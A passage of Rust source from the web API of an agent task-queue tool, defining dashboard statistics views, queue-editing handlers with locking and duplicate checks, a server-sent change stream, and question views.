7254            recorded: b.recorded,
7255            pr_opened: b.pr_opened,
7256            automerge_enabled: b.automerge_enabled,
7257            merged_directly: b.merged_directly,
7258            needs_attention: b.needs_attention,
7259            clean: b.clean(),
7260            coverage_rate: RateView::of(b.recorded, b.merged),
7261            automerge_rate: RateView::of(b.automerge_enabled, b.pr_opened),
7262            attention_rate: RateView::of(b.needs_attention, b.recorded),
7263        }
7264    }
7265}
7266
7267/// [`crate::queue::TaskCounts`] for the wire.
7268#[derive(Debug, Serialize)]
7269struct TaskCountsView {
7270    queued: usize,
7271    running: usize,
7272    done: usize,
7273    failed: usize,
7274    held: usize,
7275    blocked: usize,
7276    parked: usize,
7277}
7278
7279impl From<crate::queue::TaskCounts> for TaskCountsView {
7280    fn from(c: crate::queue::TaskCounts) -> Self {
7281        Self {
7282            queued: c.queued,
7283            running: c.running,
7284            done: c.done,
7285            failed: c.failed,
7286            held: c.held,
7287            blocked: c.blocked,
7288            parked: c.parked,
7289        }
7290    }
7291}
7292
7293/// [`crate::stats::RepoStats`] for the wire, one row per repository with
7294/// runs recorded — the summary the UI's repository selector is built from.
7295/// Carries no nested `Stats`: picking a repo means re-fetching
7296/// `GET /api/stats?repo=<repo>`, which reuses this same route's own
7297/// aggregation rather than duplicating it.
7298#[derive(Debug, Serialize)]
7299struct RepoSummaryView {
7300    /// `RunState.repo` exactly as recorded — the value `?repo=` matches
7301    /// against, full path and all (see [`stats_get`]'s own doc for why).
7302    repo: String,
7303    /// Display name only; never used for matching.
7304    name: String,
7305    runs: usize,
7306    completion_rate: Option<RateView>,
7307}
7308
7309impl From<&stats::RepoStats> for RepoSummaryView {
7310    fn from(r: &stats::RepoStats) -> Self {
7311        let t = &r.stats.totals;
7312        Self {
7313            repo: r.repo.to_string_lossy().into_owned(),
7314            name: r.name.clone(),
7315            runs: t.runs,
7316            completion_rate: RateView::of(t.merged + t.ready, t.runs),
7317        }
7318    }
7319}
7320
7321/// `GET /api/stats` - the whole answer. `Stats` itself carries no
7322/// `Serialize`, deliberately: its fields (and the CLI text `report::stats`
7323/// renders from them) are free to grow without that becoming a wire-contract
7324/// change, and its zero-denominator rate methods (`0.0`) cannot tell "no
7325/// data" from "computed and it really is zero" the way [`RateView`] does.
7326#[derive(Debug, Serialize)]
7327struct StatsView {
7328    totals: StatsTotalsView,
7329    /// Best win rate first, as [`stats::collect`] already sorts it.
7330    agents: Vec<AgentStatsView>,
7331    /// Most adopted-per-round first, as [`stats::collect`] already sorts it.
7332    reviewers: Vec<ReviewerStatsView>,
7333    /// Highest reflection rate first, as [`stats::collect`] already sorts it.
7334    advisors: Vec<AdvisorStatsView>,
7335    e2e: E2eStatsView,
7336    release_bumps: ReleaseBumpStatsView,
7337    queue: Option<TaskCountsView>,
7338    /// Same count and same meaning as [`HealthView::runs_unreadable`] - see
7339    /// that field's doc. Asserted to match it in
7340    /// `stats_runs_unreadable_matches_health`.
7341    ///
7342    /// Always the whole-workload count, even when `repo` narrows every other
7343    /// field to one repository - an unreadable `run.json` carries no `repo`
7344    /// a per-repository count could attribute it to, and the queue/health
7345    /// views this mirrors never scope it either. The UI must not present it
7346    /// as if it were scoped to the selected repository.
7347    runs_unreadable: usize,
7348    /// Every repository with runs recorded, most runs first - what the UI's
7349    /// repository selector is built from. Always the full list regardless of
7350    /// `repo`, so switching repositories never needs a second request.
7351    repos: Vec<RepoSummaryView>,
7352    /// Runs per local day over the last 30 days, oldest first, always 30
7353    /// entries. Days are the *server's* local dates (the UI must not convert
7354    /// them again), cut by run creation and classified by current status.
7355    /// Narrowed by `repo` like every other run-derived field.
7356    daily: Vec<DailyStatsView>,
7357    /// The `?repo=` value this response was narrowed to, echoed back so the
7358    /// UI can confirm its selection round-tripped. `None` for the aggregate,
7359    /// all-repositories view.
7360    repo: Option<String>,
7361    /// Agent ids left out of `agents` / `reviewers` / `advisors` because the
7362    /// current config roster no longer lists them. Empty with `?all=true`, an
7363    /// unreadable config, or when nothing was retired.
7364    retired_hidden: Vec<String>,
7365}
7366
7367/// One day of [`StatsView::daily`].
7368#[derive(Debug, Serialize)]
7369struct DailyStatsView {
7370    /// `YYYY-MM-DD`, server-local.
7371    date: String,
7372    runs: usize,
7373    merged: usize,
7374    ready: usize,
7375    other: usize,
7376    /// `None` on a day with no runs, so it never reads as 0%.
7377    completion_rate: Option<RateView>,
7378}
7379
7380impl From<&stats::DayBucket> for DailyStatsView {
7381    fn from(b: &stats::DayBucket) -> Self {
7382        Self {
7383            date: b.date.to_string(),
7384            runs: b.runs,
7385            merged: b.merged,
7386            ready: b.ready,
7387            other: b.other,
7388            completion_rate: RateView::of(b.merged + b.ready, b.runs),
7389        }
7390    }
7391}
7392
7393/// How many days [`StatsView::daily`] covers.
7394const STATS_DAILY_DAYS: usize = 30;
7395
7396/// `?repo=<path>` narrows `GET /api/stats` to the runs recorded against one
7397/// repository. Matched by full-path equality against `RunState.repo` only
7398/// (see [`stats::filter_repo`]) - never resolved by name the way the CLI's
7399/// `--repo` is, because the value here always came from this same route's
7400/// own `repos` list in an earlier response, never typed by a human. A value
7401/// matching no run is a 404, not an empty aggregate: the caller asked for a
7402/// specific, named repository, and silently returning zeroes would look
7403/// exactly like a repository that has runs but none of interest.
7404#[derive(Debug, Default, Deserialize)]
7405#[serde(default)]
7406struct StatsQuery {
7407    repo: Option<String>,
7408    /// `?all=true` keeps agents that are no longer in the roster.
7409    all: bool,
7410    /// The dashboard fetches queue counts independently of run history.
7411    runs_only: bool,
7412}
7413
7414/// `GET /api/stats` - task and run statistics for the dashboard, aggregated
7415/// by [`stats::collect`] (or [`stats::collect_refs`] over one repository's
7416/// runs when `?repo=` narrows it), the same counting logic `magi stats`
7417/// prints from. Reads every readable run on disk, exactly as
7418/// [`runs_unreadable`] does, so the two counts can never drift apart the way
7419/// a separately-maintained tally could.
7420async fn stats_get(
7421    State(ui): State<Arc<Ui>>,
7422    Query(q): Query<StatsQuery>,
7423) -> ApiResult<Json<StatsView>> {
7424    blocking(move || {
7425        let states: Vec<RunState> = run_ids(&ui.runs)
7426            .into_iter()
7427            .filter_map(|id| read_run(&ui.runs, &id).ok())
7428            .collect();
7429        let repos: Vec<RepoSummaryView> = stats::by_repo(&states)
7430            .iter()
7431            .map(RepoSummaryView::from)
7432            .collect();
7433        let mut scoped: Vec<&RunState> = states.iter().collect();
7434        let mut collected = match &q.repo {
7435            Some(repo) => {
7436                let filtered = stats::filter_repo(&states, std::path::Path::new(repo));
7437                if filtered.is_empty() {
7438                    return Err(ApiError::not_found(format!(
7439                        "no runs recorded against repo `{repo}`"
7440                    )));
7441                }
7442                scoped = filtered.clone();
7443                stats::collect_refs(filtered)
7444            }
7445            None => stats::collect(&states),
7446        };
7447        if !q.all {
7448            let repo = q
7449                .repo
7450                .as_deref()
7451                .map_or_else(|| ui.repo.clone(), PathBuf::from);
7452            stats::retain_current_roster(&mut collected, &repo);
7453        }
7454        let daily = stats::daily(
7455            scoped,
7456            jiff::Zoned::now().date(),
7457            &jiff::tz::TimeZone::system(),
7458            STATS_DAILY_DAYS,
7459        );
7460        let queue_counts = (!q.runs_only)
7461            .then(|| TaskCountsView::from(crate::queue::TaskCounts::of(&ui.queue.list())));
7462        Ok(Json(StatsView {
7463            totals: StatsTotalsView::from(&collected.totals),
7464            agents: collected.agents.iter().map(AgentStatsView::from).collect(),
7465            reviewers: collected
7466                .reviewers
7467                .iter()
7468                .map(ReviewerStatsView::from)
7469                .collect(),
7470            advisors: collected
7471                .advisors
7472                .iter()
7473                .map(AdvisorStatsView::from)
7474                .collect(),
7475            e2e: E2eStatsView::from(&collected.e2e),
7476            release_bumps: ReleaseBumpStatsView::from(&collected.release_bumps),
7477            queue: queue_counts,
7478            runs_unreadable: runs_unreadable(&ui.runs),
7479            repos,
7480            daily: daily.iter().map(DailyStatsView::from).collect(),
7481            repo: q.repo.clone(),
7482            retired_hidden: collected.retired_hidden.clone(),
7483        }))
7484    })
7485    .await
7486}
7487
7488/// The body of `POST /api/queue/{id}/hold`, sent empty when the operator
7489/// gives no reason - which must keep working, since not every hold has one.
7490#[derive(Debug, Default, Deserialize)]
7491#[serde(default, deny_unknown_fields)]
7492struct HoldBody {
7493    reason: Option<String>,
7494}
7495
7496async fn queue_hold(
7497    State(ui): State<Arc<Ui>>,
7498    Path(id): Path<String>,
7499    body: std::result::Result<Json<HoldBody>, JsonRejection>,
7500) -> ApiResult<Json<TaskView>> {
7501    // An absent body is the ordinary case - most holds are unexplained, and
7502    // that has to stay a one-tap action rather than a form. A body that is
7503    // present and malformed is still a bad request.
7504    let body = match body {
7505        Ok(Json(body)) => body,
7506        Err(JsonRejection::MissingJsonContentType(_)) => HoldBody::default(),
7507        Err(e) => return Err(ApiError::bad_request(e.body_text())),
7508    };
7509    let reason = body.reason.filter(|r| !r.trim().is_empty());
7510    mutate(ui, id, move |t| {
7511        t.hold_manual(reason.clone());
7512        Ok(())
7513    })
7514    .await
7515}
7516
7517#[derive(Deserialize)]
7518#[serde(deny_unknown_fields)]
7519struct ReassignBody {
7520    repo: PathBuf,
7521}
7522
7523async fn queue_reassign(
7524    State(ui): State<Arc<Ui>>,
7525    Path(id): Path<String>,
7526    Json(body): Json<ReassignBody>,
7527) -> ApiResult<Json<TaskView>> {
7528    let home = ui.home.clone();
7529    let task = crate::task_reassign::reassign(&ui.queue, &home, &ui.repo, &id, &body.repo, "web")
7530        .await
7531        .map_err(ApiError::bad_request_from)?;
7532    let notes = crate::task_reassign::advisory_notes(&task, &home);
7533    let mut view = TaskView::from(task);
7534    view.reassignment_notes = notes;
7535    Ok(Json(view))
7536}
7537
7538async fn queue_release(
7539    State(ui): State<Arc<Ui>>,
7540    Path(id): Path<String>,
7541) -> ApiResult<Json<TaskView>> {
7542    mutate(ui, id, |t| {
7543        t.release_operator("web", None);
7544        Ok(())
7545    })
7546    .await
7547}
7548
7549#[derive(Debug, Deserialize)]
7550#[serde(deny_unknown_fields)]
7551struct AttemptLimitBody {
7552    // Required even when clearing: missing fields must not silently erase an override.
7553    attempt_limit: serde_json::Value,
7554}
7555
7556async fn queue_attempt_limit(
7557    State(ui): State<Arc<Ui>>,
7558    Path(id): Path<String>,
7559    body: std::result::Result<Json<AttemptLimitBody>, JsonRejection>,
7560) -> ApiResult<Json<TaskView>> {
7561    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7562    let limit = serde_json::from_value::<Option<std::num::NonZeroUsize>>(body.attempt_limit)
7563        .map_err(|_| ApiError::bad_request("attempt_limit must be a positive integer or null"))?;
7564    mutate(ui, id, move |t| t.change_attempt_limit(limit)).await
7565}
7566
7567#[derive(Debug, Deserialize)]
7568#[serde(deny_unknown_fields)]
7569struct ImplementersBody {
7570    implementers: u8,
7571}
7572
7573async fn queue_implementers(
7574    State(ui): State<Arc<Ui>>,
7575    Path(id): Path<String>,
7576    body: std::result::Result<Json<ImplementersBody>, JsonRejection>,
7577) -> ApiResult<Json<TaskView>> {
7578    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7579    mutate(ui, id, move |t| t.change_implementers(body.implementers)).await
7580}
7581
7582#[derive(Debug, Deserialize)]
7583#[serde(deny_unknown_fields)]
7584struct UrgentBody {
7585    urgent: bool,
7586}
7587
7588async fn queue_urgent(
7589    State(ui): State<Arc<Ui>>,
7590    Path(id): Path<String>,
7591    body: std::result::Result<Json<UrgentBody>, JsonRejection>,
7592) -> ApiResult<Json<TaskView>> {
7593    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7594    mutate(ui, id, move |t| t.set_urgent(body.urgent)).await
7595}
7596
7597#[derive(Debug, Deserialize)]
7598#[serde(deny_unknown_fields)]
7599struct ImmediateBody {
7600    immediate: bool,
7601}
7602
7603async fn queue_immediate(
7604    State(ui): State<Arc<Ui>>,
7605    Path(id): Path<String>,
7606    body: std::result::Result<Json<ImmediateBody>, JsonRejection>,
7607) -> ApiResult<Json<TaskView>> {
7608    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7609    mutate(ui, id, move |t| t.set_immediate(body.immediate)).await
7610}
7611
7612/// The body of `POST /api/queue/{id}/priority`.
7613#[derive(Debug, Deserialize)]
7614#[serde(deny_unknown_fields)]
7615struct PriorityBody {
7616    priority: i32,
7617}
7618
7619/// `POST /api/queue/{id}/priority` - the up/down control on the Queue card.
7620///
7621/// [`Task::set_priority`] is the one place the "not while running" rule is
7622/// stated; this route only carries the body to it and lets its `Err` become
7623/// the 4xx the card shows.
7624async fn queue_priority(
7625    State(ui): State<Arc<Ui>>,
7626    Path(id): Path<String>,
7627    body: std::result::Result<Json<PriorityBody>, JsonRejection>,
7628) -> ApiResult<Json<TaskView>> {
7629    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7630    mutate(ui, id, move |t| t.set_priority(body.priority)).await
7631}
7632
7633/// The body of `POST /api/queue/{id}/edit`.
7634#[derive(Debug, Deserialize)]
7635#[serde(deny_unknown_fields)]
7636struct EditBody {
7637    title: String,
7638    instruction: String,
7639    /// Save even though the new text names a branch, commit or pull request
7640    /// that unfinished work already owns.
7641    #[serde(default)]
7642    force: bool,
7643}
7644
7645/// `POST /api/queue/{id}/edit` - the full-text replacement the phone's edit
7646/// sheet sends. [`Task::edit`] refuses anything but `queued` and `held`, and
7647/// that refusal's message is what the sheet shows back.
7648async fn queue_edit(
7649    State(ui): State<Arc<Ui>>,
7650    Path(id): Path<String>,
7651    body: std::result::Result<Json<EditBody>, JsonRejection>,
7652) -> ApiResult<Json<TaskView>> {
7653    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7654    // The judge is an agent call, so it is awaited here, outside the claim
7655    // `mutate` holds: a daemon must not be kept waiting on it. What it saw is
7656    // remembered, and the save refuses if the task moved underneath it.
7657    let mut judged: Option<(String, PathBuf)> = None;
7658    if !body.force {
7659        let (queue, runs) = (ui.queue.clone(), ui.runs.clone());
7660        let (id, text) = (id.clone(), body.instruction.clone());
7661        let (seen, hits) = blocking(move || {
7662            let id = resolve_task(&queue, &id)?;
7663            let t = queue.get(&id)?;
7664            if text == t.instruction {
7665                return Ok((None, Vec::new()));
7666            }
7667            let hits = crate::dupes::check(&queue, &runs, &t.repo, &text, None, Some(&t.id));
7668            Ok((Some((t.instruction, t.repo)), hits))
7669        })
7670        .await?;
7671        if let Some((_, repo)) = &seen {
7672            let cfg = crate::config::Config::discover(repo, None)
7673                .ok()
7674                .map(|(c, _)| c);
7675            let screened =
7676                crate::dupes::screen_with_config(hits, &body.instruction, None, repo, cfg.as_ref())
7677                    .await
7678                    .map_err(|dup| {
7679                        ApiError::conflict(dup.render(
7680                            "Nothing was saved. If it is not a duplicate, repeat the request \
7681                             with \"force\": true.",
7682                        ))
7683                    })?;
7684            if let crate::dupes::Screened::Unjudged(why) = screened {
7685                tracing::warn!(%why, "task edit saved without a duplicate-work judgement");
7686            }
7687        }
7688        judged = seen;
7689    }
7690    let force = body.force;
7691    mutate(ui, id, move |t| {
7692        if !force && body.instruction != t.instruction {
7693            match &judged {
7694                Some((instruction, repo)) if *instruction == t.instruction && *repo == t.repo => {}
7695                _ => {
7696                    anyhow::bail!("the task changed while it was being checked; repeat the request")
7697                }
7698            }
7699        }
7700        t.edit(body.title.clone(), body.instruction.clone())
7701    })
7702    .await
7703}
7704
7705#[derive(Debug, Default, Deserialize)]
7706#[serde(default, deny_unknown_fields)]
7707struct CompleteBody {
7708    reason: Option<String>,
7709    discard: bool,
7710}
7711
7712/// Close through the same audited merge/discard guard as the CLI.
7713async fn queue_done(
7714    State(ui): State<Arc<Ui>>,
7715    Path(id): Path<String>,
7716    body: std::result::Result<Json<CompleteBody>, JsonRejection>,
7717) -> ApiResult<Json<TaskView>> {
7718    let body = match body {
7719        Ok(Json(body)) => body,
7720        Err(JsonRejection::MissingJsonContentType(_)) => CompleteBody::default(),
7721        Err(e) => return Err(ApiError::bad_request(e.body_text())),
7722    };
7723    let state = Arc::clone(&ui);
7724    let claimed = blocking(move || claim_task(&state.queue, &id)).await?;
7725    let task = crate::task_completion::close_claimed(
7726        &ui.queue,
7727        &ui.home,
7728        claimed,
7729        crate::queue::CompletionActor::Web,
7730        body.reason,
7731        body.discard,
7732    )
7733    .await
7734    .map_err(ApiError::completion)?;
7735    Ok(Json(TaskView::from(task)))
7736}
7737
7738#[derive(Debug, Deserialize)]
7739#[serde(deny_unknown_fields)]
7740struct ReopenBody {
7741    reason: String,
7742}
7743
7744/// Restore a safely unlanded completion to Held, never straight to execution.
7745async fn queue_reopen(
7746    State(ui): State<Arc<Ui>>,
7747    Path(id): Path<String>,
7748    Json(body): Json<ReopenBody>,
7749) -> ApiResult<Json<TaskView>> {
7750    let state = Arc::clone(&ui);
7751    let claimed = blocking(move || claim_task(&state.queue, &id)).await?;
7752    let task = crate::task_completion::reopen_claimed(
7753        &ui.queue,
7754        &ui.home,
7755        claimed,
7756        crate::queue::CompletionActor::Web,
7757        &body.reason,
7758    )
7759    .await
7760    .map_err(ApiError::completion)?;
7761    Ok(Json(TaskView::from(task)))
7762}
7763
7764/// `DELETE /api/queue/{id}`.
7765///
7766/// Remove a task from the backlog. Refused only while a live daemon's heartbeat
7767/// names this task: a `running` status or an orphaned `.lock` left behind by a
7768/// killed daemon is a leftover, and treating either as authority made the
7769/// task undeletable from the phone for good. The associated runs, if any, are
7770/// kept: a run is self-contained history and not an appendage of the task.
7771async fn queue_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
7772    blocking(move || {
7773        let id = resolve_task(&ui.queue, &id)?;
7774        let in_flight = crate::daemon::is_working_on_task(&ui.home, &id, jiff::Timestamp::now());
7775        ui.queue
7776            .remove(&id, in_flight, &ui.questions)
7777            .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
7778        Ok(StatusCode::NO_CONTENT)
7779    })
7780    .await
7781}
7782
7783/// Resolve the operator's reference, then reload under the same claim a daemon takes.
7784fn claim_task(queue: &Queue, reference: &str) -> ApiResult<(crate::queue::Claim, Task)> {
7785    let id = resolve_task(queue, reference)?;
7786    let claim = queue.claim(&id).map_err(|e| {
7787        ApiError::conflict(format!(
7788            "{e:#} - a daemon is running this task, so it cannot be \
7789             changed from here yet; wait until it is released, then retry"
7790        ))
7791    })?;
7792    Ok((claim, queue.get(&id)?))
7793}
7794
7795/// Read a task, change it, write it back, under the queue's own lock.
7796///
7797/// Taking the same claim a daemon takes is what makes hold, release,
7798/// priority, edit, and done safe to press while magi is running: without it
7799/// the daemon's next save would land on top of the operator's change and
7800/// undo it. `change` can refuse - [`Task::set_priority`] and [`Task::edit`]
7801/// both do, for a running task - and that refusal becomes the 4xx the card
7802/// shows, same as any other domain rule.
7803async fn mutate(
7804    ui: Arc<Ui>,
7805    id: String,
7806    change: impl FnOnce(&mut Task) -> Result<()> + Send + 'static,
7807) -> ApiResult<Json<TaskView>> {
7808    blocking(move || {
7809        let task = {
7810            let (_claim, mut task) = claim_task(&ui.queue, &id)?;
7811            change(&mut task).map_err(|e| match e.downcast::<crate::dupes::Duplicate>() {
7812                Ok(dup) => ApiError::conflict(dup.render(
7813                    "Nothing was saved. If it is not a duplicate, repeat the request with \
7814                     \"force\": true.",
7815                )),
7816                Err(e) => ApiError::bad_request_from(e),
7817            })?;
7818            ui.queue.put(&mut task)?;
7819            task
7820        };
7821        let inv = (task.status == TaskStatus::Blocked)
7822            .then(|| crate::blockers::Inventory::load_for(&ui.queue, &ui.questions, &task));
7823        let admission = daemon::AdmissionSnapshot::capture(&ui.home, Timestamp::now());
7824        let view = match inv.as_ref() {
7825            Some(inv) => TaskView::with_inventory(task, inv),
7826            None => TaskView::from(task),
7827        }
7828        .with_admission(&admission, &ui.queue, inv.as_ref(), &ui.home);
7829        Ok(Json(view))
7830    })
7831    .await
7832}
7833
7834/// The change stream: one revision number per store, on connect and whenever
7835/// any of them moves.
7836///
7837/// One shared worker scans stores; clients only forward its notifications.
7838async fn events(State(ui): State<Arc<Ui>>) -> impl IntoResponse {
7839    ui.monitor.ensure_worker(&ui);
7840    let mut broadcast_rx = ui.monitor.broadcaster.subscribe();
7841    let (tx, rx) = tokio::sync::mpsc::channel::<Event>(4);
7842
7843    let state = Arc::clone(&ui);
7844    tokio::spawn(async move {
7845        let initial_revisions = {
7846            let guard = match state.monitor.latest.lock() {
7847                Ok(g) => g,
7848                Err(p) => p.into_inner(),
7849            };
7850            guard.as_ref().map(|(r, _)| *r)
7851        };
7852        if let Some(revisions) = initial_revisions {
7853            let initial_payload = serde_json::json!({
7854                "queue_rev": revisions.0,
7855                "runs_rev": revisions.1,
7856                "questions_rev": revisions.2,
7857                "talks_rev": revisions.3,
7858                "notifications_rev": revisions.4,
7859                "loop_rev": revisions.5,
7860            });
7861
7862            if let Ok(event) = Event::default().event("change").json_data(initial_payload) {
7863                if tx.send(event).await.is_err() {
7864                    return;
7865                }
7866            }
7867        }
7868
7869        loop {
7870            match tokio::select! {
7871                _ = tx.closed() => return,
7872                value = broadcast_rx.recv() => value,
7873            } {
7874                Ok(notif) => {
7875                    let Ok(event) = Event::default().event("change").json_data(notif.payload)
7876                    else {
7877                        break;
7878                    };
7879                    if tx.send(event).await.is_err() {
7880                        break;
7881                    }
7882                }
7883                Err(tokio::sync::broadcast::error::RecvError::Lagged(_)) => {
7884                    let revs = {
7885                        let guard = match state.monitor.latest.lock() {
7886                            Ok(g) => g,
7887                            Err(p) => p.into_inner(),
7888                        };
7889                        guard.as_ref().map(|(r, _)| *r)
7890                    };
7891                    if let Some(revs) = revs {
7892                        let payload = serde_json::json!({
7893                            "queue_rev": revs.0,
7894                            "runs_rev": revs.1,
7895                            "questions_rev": revs.2,
7896                            "talks_rev": revs.3,
7897                            "notifications_rev": revs.4,
7898                            "loop_rev": revs.5,
7899                        });
7900                        if let Ok(event) = Event::default().event("change").json_data(payload) {
7901                            if tx.send(event).await.is_err() {
7902                                break;
7903                            }
7904                        }
7905                    }
7906                }
7907                Err(tokio::sync::broadcast::error::RecvError::Closed) => {
7908                    break;
7909                }
7910            }
7911        }
7912    });
7913
7914    Sse::new(ReceiverStream::new(rx).map(Ok::<Event, Infallible>))
7915        .keep_alive(KeepAlive::new().interval(KEEPALIVE))
7916}
7917
7918/// Run ids under `runs`, newest first.
7919///
7920/// Rooted at an explicit directory rather than calling [`run::list_ids`],
7921/// which reads the process-global home: the server has to be drivable against
7922/// a temp directory for any of this to be testable.
7923fn run_ids(runs: &FsPath) -> Vec<String> {
7924    let mut ids: Vec<String> = std::fs::read_dir(runs)
7925        .into_iter()
7926        .flatten()
7927        .flatten()
7928        .filter(|e| e.path().join("run.json").is_file())
7929        .map(|e| e.file_name().to_string_lossy().into_owned())
7930        .collect();
7931    // Ids start with a sortable timestamp.
7932    ids.sort_unstable_by(|a, b| b.cmp(a));
7933    ids
7934}
7935
7936/// Read one run's state from an explicit runs root.
7937fn read_run(runs: &FsPath, id: &str) -> Result<RunState> {
7938    let path = runs.join(id).join("run.json");
7939    let body =
7940        std::fs::read_to_string(&path).with_context(|| format!("read {}", path.display()))?;
7941    let state: RunState =
7942        serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
7943    // The same migration `RunState::load` applies, so a record from the
7944    // previous schema reads here as it does everywhere else (an origin-less
7945    // run shows as "origin unknown") instead of vanishing from the phone the
7946    // moment the schema is bumped.
7947    run::migrate_schema(state)
7948}
7949
7950/// Runs on disk under `runs` whose state this build cannot parse - almost
7951/// always a schema bump, occasionally a run killed mid-write.
7952///
7953/// Exposed so every surface that reports on runs shares one count instead of
7954/// each re-deriving it: `/api/health` reports it as `runs_unreadable`, and
7955/// `magi doctor` calls this directly rather than guessing at the same number
7956/// a second way.
7957#[must_use]
7958pub fn runs_unreadable(runs: &FsPath) -> usize {
7959    run_ids(runs)
7960        .into_iter()
7961        .filter(|id| read_run(runs, id).is_err())
7962        .count()
7963}
7964
7965fn plain_record_id(id: &str) -> bool {
7966    !id.is_empty() && id != "." && id != ".." && !id.contains(['/', '\\'])
7967}
7968
7969/// Expand an id or short id to exactly one run id.
7970fn resolve_run(runs: &FsPath, id: &str) -> ApiResult<String> {
7971    if plain_record_id(id) && runs.join(id).join("run.json").is_file() {
7972        return Ok(id.to_owned());
7973    }
7974    pick(run_ids(runs), id, "run")
7975}
7976
7977/// Expand an id or short id to exactly one task id.
7978fn resolve_task(queue: &Queue, id: &str) -> ApiResult<String> {
7979    if plain_record_id(id) && queue.path_of(id).is_file() {
7980        return Ok(id.to_owned());
7981    }
7982    let ids = crate::queue::record_ids(queue.root(), "json").unwrap_or_default();
7983    pick(ids, id, "task")
7984}
7985
7986/// A question as the phone reads it.
7987///
7988/// `detail`, the reasoning an agent wrote, is markdown; `detail_md` is that
7989/// text already parsed into a node tree so the client never runs its own
7990/// markdown reader over agent-authored prose. A relative image path in it
7991/// resolves against this question's own panel asset route, which is the one
7992/// place [`md::ImageBase::QuestionPanel`] is used - the panel iframe is a
7993/// separate, sandboxed document, but `detail` is rendered inline in the
7994/// operator's own page, so an image reference in it may only ever point at
7995/// files magi itself already serves for this question.
7996#[derive(Debug, Serialize)]
7997struct QuestionView {
7998    can_answer: bool,
7999    /// Imported consent remains history even while its effect is uncertain.
8000    history_only: bool,
8001    choice_effects: std::collections::BTreeMap<String, String>,
8002    record_revision: String,
8003    #[serde(flatten)]
8004    question: Question,
8005    detail_md: Vec<md::Node>,
8006    posting_view: Option<PostingView>,
8007    /// Each thread turn's body, parsed; same order as `question.thread`.
8008    thread_bodies_md: Vec<Vec<md::Node>>,
8009    /// Each thread turn's deputy note, parsed (`None` for a turn without
8010    /// one); same order as `question.thread`.
8011    thread_notes_md: Vec<Option<Vec<md::Node>>>,
8012    /// Is the ball in the agent's court right now?
8013    ///
8014    /// [`QuestionStatus`] stays `Open` for the whole of a round trip - see
8015    /// [`Question::say`] - so this is the one field that tells the phone to
8016    /// disable the answer controls and show "waiting for the agent" instead of
8017    /// a card the owner can act on. Computed rather than stored on
8018    /// [`Question`] itself, on the same reasoning as `waiting` on
8019    /// [`RunSummary`]: it is a read of `thread`'s own last entry, and keeping
8020    /// it here means the client never has to re-derive that rule.
8021    waiting_on_agent: bool,
8022    /// Who is waiting on this open question - see [`holder_of`]. Separate
8023    /// from `waiting_on_agent`, which is whose *turn* it is, not whether
8024    /// anyone is there to take it.
8025    holder: Option<&'static str>,
8026    /// Whether `magi serve` can start a follow-up agent for a conductor
8027    /// question at all: false when `daemon.max_deputies = 0` or the config is
8028    /// unreadable. Separate from `holder`, which says who is listening now.
8029    deputies_enabled: bool,
8030    /// All starts were spent and no live holder remains. Display-only: the
8031    /// final attempt increments `starts` before running under its lease.
8032    deputy_exhausted: bool,
8033    text_delivery: crate::question_delivery::Availability,
8034    /// `question.run` is a task id (conductor / triage questions), not a run
8035    /// id, so the UI links it to the task page.
8036    run_is_task: bool,
8037    /// The existing chat this question's task came from, including settled
8038    /// questions - see [`crate::consult::associated_talk`].
8039    origin_chat: Option<String>,
8040    /// `origin_chat` is closed; consulting reopens it first.
8041    origin_chat_closed: bool,
8042    /// Consultation eligibility is separate from navigation to the chat.
8043    can_consult_chat: bool,
8044}
8045
8046#[derive(Debug, Serialize)]
8047struct PostingView {
8048    before_md: Vec<md::Node>,
8049    after_md: Vec<md::Node>,
8050    fields: Vec<crate::github_text::ComparisonView>,
8051}
8052
8053fn posting_view(question: &Question, base: &md::ImageBase) -> Option<PostingView> {
8054    let comparison = question.posting_comparison.as_ref()?;
8055    if !comparison.matches_detail(&question.detail) {
8056        return None;
8057    }
8058    let mut ids = std::collections::BTreeSet::new();
8059    if comparison.fields.is_empty()
8060        || comparison
8061            .fields
8062            .iter()
8063            .flat_map(|f| &f.pairs)
8064            .any(|p| !ids.insert(p.id))
8065        || comparison
8066            .fields
8067            .iter()
8068            .flat_map(|f| &f.original_triggers)
8069            .any(|t| !ids.insert(t.id))
8070    {
8071        return None;
8072    }
8073    let fields = comparison
8074        .fields
8075        .iter()
8076        .map(|f| f.view(comparison.excerpt))
8077        .collect::<Option<Vec<_>>>()?;
8078    Some(PostingView {
8079        before_md: md::to_nodes(question.detail.get(..comparison.start)?, base),
8080        after_md: md::to_nodes(question.detail.get(comparison.end..)?, base),
8081        fields,
8082    })
8083}
8084
8085impl QuestionView {
8086    /// The view of `question`, reading who is waiting on it from `store`.
8087    ///
8088    /// `holder` needs the lease sidecar, which is why this is not a `From`.
8089    fn of(question: Question, store: &ask::Questions, cfg: Option<&Config>) -> Self {
8090        let base = md::ImageBase::QuestionPanel {
8091            id: question.id.clone(),
8092        };
8093        let holder = holder_of(&question, store.read_lease(&question.id).as_ref());
8094        Self {
8095            can_answer: question.can_answer(),
8096            history_only: store.held_reply(&question.id),
8097            choice_effects: question
8098                .choices
8099                .iter()
8100                .filter_map(|c| {
8101                    crate::choice_effect::describe(&question, c).map(|effect| (c.clone(), effect))
8102                })
8103                .collect(),
8104            record_revision: question_record_revision(&question),
8105            detail_md: md::to_nodes(&question.detail, &base),
8106            posting_view: posting_view(&question, &base),
8107            thread_bodies_md: question
8108                .thread
8109                .iter()
8110                .map(|t| md::to_nodes(&t.body, &base))
8111                .collect(),
8112            thread_notes_md: question
8113                .thread
8114                .iter()
8115                .map(|t| t.note.as_deref().map(|n| md::to_nodes(n, &base)))
8116                .collect(),
8117            deputy_exhausted: store.deputy_exhausted(&question),
8118            waiting_on_agent: question.waiting_on_agent(),
8119            holder,
8120            deputies_enabled: deputies_enabled(cfg, &question),
8121            text_delivery: crate::question_delivery::availability(store, &question, cfg),
8122            run_is_task: question.run_names_task(),
8123            origin_chat: None,
8124            origin_chat_closed: false,
8125            can_consult_chat: false,
8126            question,
8127        }
8128    }
8129
